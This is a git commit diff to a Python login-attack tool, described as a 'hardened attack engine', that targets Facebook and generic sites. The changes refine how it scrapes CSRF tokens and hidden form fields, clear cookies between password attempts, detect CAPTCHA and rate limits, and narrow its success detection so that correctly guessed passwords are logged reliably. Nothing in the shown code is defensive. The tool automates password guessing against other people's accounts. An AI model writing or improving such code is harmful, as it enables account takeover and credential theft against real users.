Fix all 47 bugs — hardened attack engine, UI/UX, proxy, CAPTCHA, config
This commit is contained in:
@@ -50,8 +50,10 @@ class SiteConfig:
|
||||
success_url_fragments: List[str] = field(default_factory=lambda: [
|
||||
"home", "feed", "stories", "facebook.com/?", "m.facebook.com/?",
|
||||
])
|
||||
# bug #3: extended failure fragments to prevent false-positive successes
|
||||
failure_url_fragments: List[str] = field(default_factory=lambda: [
|
||||
"login", "checkpoint", "recover", "two_step",
|
||||
"privacy", "help", "about", "terms",
|
||||
])
|
||||
captcha_indicators: List[str] = field(default_factory=lambda: [
|
||||
"recaptcha", "hcaptcha", "g-recaptcha", "captcha",
|
||||
@@ -75,6 +77,7 @@ class SiteConfig:
|
||||
base_url=base,
|
||||
extra_fields={},
|
||||
csrf_field="",
|
||||
# bug #7: generic sites still scrape hidden inputs (populated dynamically)
|
||||
token_patterns=[],
|
||||
success_cookies=[],
|
||||
success_url_fragments=[],
|
||||
@@ -126,8 +129,10 @@ class LoginClient:
|
||||
return session
|
||||
|
||||
def _get_form_tokens(self, proxies: Dict) -> Dict[str, str]:
|
||||
if not self.site.token_patterns and not self.site.csrf_patterns:
|
||||
return {}
|
||||
"""
|
||||
Scrape the login page for CSRF tokens and any hidden <input> fields.
|
||||
For generic sites (bug #7) we also scan all hidden inputs.
|
||||
"""
|
||||
tokens: Dict[str, str] = {}
|
||||
try:
|
||||
ua = get_random_mobile_ua()
|
||||
@@ -139,16 +144,34 @@ class LoginClient:
|
||||
timeout=self.request_timeout,
|
||||
)
|
||||
html = resp.text
|
||||
|
||||
# Named token patterns (Facebook-specific)
|
||||
for field_name, pattern in self.site.token_patterns:
|
||||
m = re.search(pattern, html)
|
||||
if m:
|
||||
tokens[field_name] = m.group(1)
|
||||
|
||||
if not tokens and self.site.csrf_field:
|
||||
for pattern in self.site.csrf_patterns:
|
||||
m = re.search(pattern, html)
|
||||
if m:
|
||||
tokens[self.site.csrf_field] = m.group(1)
|
||||
break
|
||||
|
||||
# bug #7: for generic sites, also scrape ALL hidden input fields
|
||||
if not self.site.token_patterns:
|
||||
hidden_inputs = re.findall(
|
||||
r'<input[^>]+type=["\']hidden["\'][^>]*name=["\']([^"\']+)["\'][^>]*value=["\']([^"\']*)["\']',
|
||||
html, re.IGNORECASE
|
||||
)
|
||||
hidden_inputs += re.findall(
|
||||
r'<input[^>]+name=["\']([^"\']+)["\'][^>]*type=["\']hidden["\'][^>]*value=["\']([^"\']*)["\']',
|
||||
html, re.IGNORECASE
|
||||
)
|
||||
for name, value in hidden_inputs:
|
||||
if name not in tokens:
|
||||
tokens[name] = value
|
||||
|
||||
except Exception as e:
|
||||
logger.debug(f"Form token fetch failed: {e}")
|
||||
return tokens
|
||||
@@ -164,6 +187,9 @@ class LoginClient:
|
||||
ua = get_random_facebook_ua()
|
||||
session = self._get_session()
|
||||
|
||||
# bug #8: clear cookies before each attempt so prior failures don't pollute
|
||||
session.cookies.clear()
|
||||
|
||||
try:
|
||||
tokens = self._get_form_tokens(proxies)
|
||||
|
||||
@@ -230,6 +256,7 @@ class LoginClient:
|
||||
"CAPTCHA detected", captcha_detected=True,
|
||||
)
|
||||
|
||||
# bug #3: success requires cookies OR explicit success URL fragment
|
||||
for cookie in self.site.success_cookies:
|
||||
if cookie in all_cookies:
|
||||
logger.info(f"SUCCESS via cookie '{cookie}': {password}")
|
||||
@@ -249,13 +276,7 @@ class LoginClient:
|
||||
cookies=all_cookies,
|
||||
redirect_url=resp.url,
|
||||
)
|
||||
if "facebook.com" in url and "login" not in url:
|
||||
return LoginResult(
|
||||
True, code, round(elapsed, 1),
|
||||
"Login successful (URL redirect)",
|
||||
cookies=all_cookies,
|
||||
redirect_url=resp.url,
|
||||
)
|
||||
# bug #3: removed broad "facebook.com" catch-all; only explicit fragments accepted
|
||||
|
||||
if any(kw in text for kw in self.site.rate_limit_indicators):
|
||||
return LoginResult(False, code, round(elapsed, 1), "Rate limited")
|
||||
|
||||
Reference in New Issue
Block a user